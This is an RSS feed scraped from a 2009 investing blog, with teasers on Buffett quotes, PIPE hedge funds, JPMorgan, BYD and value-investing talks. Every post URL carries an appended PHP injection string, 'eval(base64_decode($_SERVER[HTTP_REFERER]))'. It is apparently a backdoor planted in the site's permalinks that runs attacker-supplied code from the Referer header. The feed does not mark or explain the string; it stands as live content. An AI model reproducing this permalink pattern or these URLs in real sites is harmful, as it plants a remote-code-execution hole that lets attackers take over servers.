http://www.superinvestor.net The Best Ideas and Practices from the World's Best Investors Fri, 16 Oct 2009 02:32:07 +0000 http://backend.userland.com/rss092 en Here are the wisest financial sayings of all time compiled by the editors of Superinvestor Digest. "Price is what you pay. Value is what you get." - Warren Buffett "Rule number one: Don't lose money. Rule number two: Don't forget rule number one." - Benjamin Graham (Znote: It is interesting to note ... http://www.superinvestor.net/2009/10/15/the-wisest-financial-sayings-of-all-time/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ PIPE hedge funds are doing well in recent years. According to HedgeFund.net, over the 12-year period from 1995 through 2006, PIPE funds produced a compounded annual return of 27% versus 10% for the Standard & Poor’s 500. So what is PIPE? PIPE stands for Private Investment in Public Equity. PIPE hedge ... http://www.superinvestor.net/2009/09/09/paragon-capital-continues-winning-streak-with-pipe-strategy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Some say the reputation of JPMorgan Chase could be over-rated. The bank is spending money like no tomorrow to operate the political and publicity machine on its behalf. Some observers question JPM's strong-armed tactics prying on customers and employees to garner profits. Trying to protect its unregulated and outsized trading ... http://www.superinvestor.net/2009/06/09/is-jpmorgan-chase-reputation-over-hyped/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Data from Hong Kong Stock Exchange shows that BYD founder recently sold all his H share holdings cashing in HK$279 million, capitalizing the recent price run up due to Warren Buffett and Charlie Munger's endorsement of the company. BYD company spokesman said that Mr. Wang continues to hold 38.5% of ... http://www.superinvestor.net/2009/05/21/byd-founder-wang-chuanfu-reportedly-sold-all-his-h-shares/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Join us to track superinvestors and aspire to become one: http://superinvestor.net/sid/wp-login.php?action=register http://www.superinvestor.net/2009/05/20/join-the-superinvestornet-blog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.superinvestor.net/2009/05/19/fox-business-interview-with-warren-buffett-charlie-munger-and-bill-gates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Eitan Wertheimer, Chairman of Iscar, shared a few tips about how to pitch ideas to Warren Buffett. Warren Buffett said that the letter he received from Wertheimer is the best he ever received. Here in this Fox interview, Wertheimer said that his letter is simple and he focused on what matters, ... http://www.superinvestor.net/2009/05/19/how-to-write-pitching-letters-to-warren-buffett/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ By Brian Zen, CFA Famed value investor Thomas A. Russo, of investment advisor Gardner Russo & Gardner, gave his musings on “global value” equity investing at New York Society of Security Analysts [NYSSA] on May 22, 2008. Liquidation value is often overstated. Russo stressed the value of consumer brands and express serious doubts ... http://www.superinvestor.net/2009/05/19/brand-power-trumps-liquidation-power-thomas-a-russo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Like Buffett, Graham was instinctively non-conformist--even more so in his exotic personal life than his professional one. ("A Mount Everest for women who liked a challenge: they met him and wanted to climb on top," is how Schroeder oddly describes it.) Buffett--whose idea of a wild night seems to have ... http://www.superinvestor.net/2009/05/19/the-oracle-and-the-crisis-michael-lewis-takes-on-warren-buffett/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ By Srinivas Korada This is a very well written book that tried to explain the classic confusion among the society "What makes people successful?". Is it really the DNA or Luck or a combination of factors that we never really had the time to analyze. When Charlie Munger recommended this ... http://www.superinvestor.net/2009/05/18/why-charlie-munger-likes-outliers-the-story-of-success/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/